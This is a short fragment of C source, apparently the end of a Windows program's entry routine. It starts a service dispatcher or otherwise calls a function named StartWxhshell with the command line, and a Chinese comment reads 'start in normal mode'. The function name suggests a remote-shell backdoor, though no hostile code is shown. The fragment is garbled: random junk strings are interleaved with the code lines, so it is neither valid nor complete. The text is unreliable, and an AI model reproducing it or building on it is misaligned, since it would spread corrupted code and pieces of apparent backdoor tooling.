StartServiceCtrlDispatcher(DispatchTable); X7*`
else TB aVW
// 普通方式启动 O';ew)tI
StartWxhshell(lpCmdLine); )wzV $(~
@nV5.r0W}B
return 0; !{_yaVF
}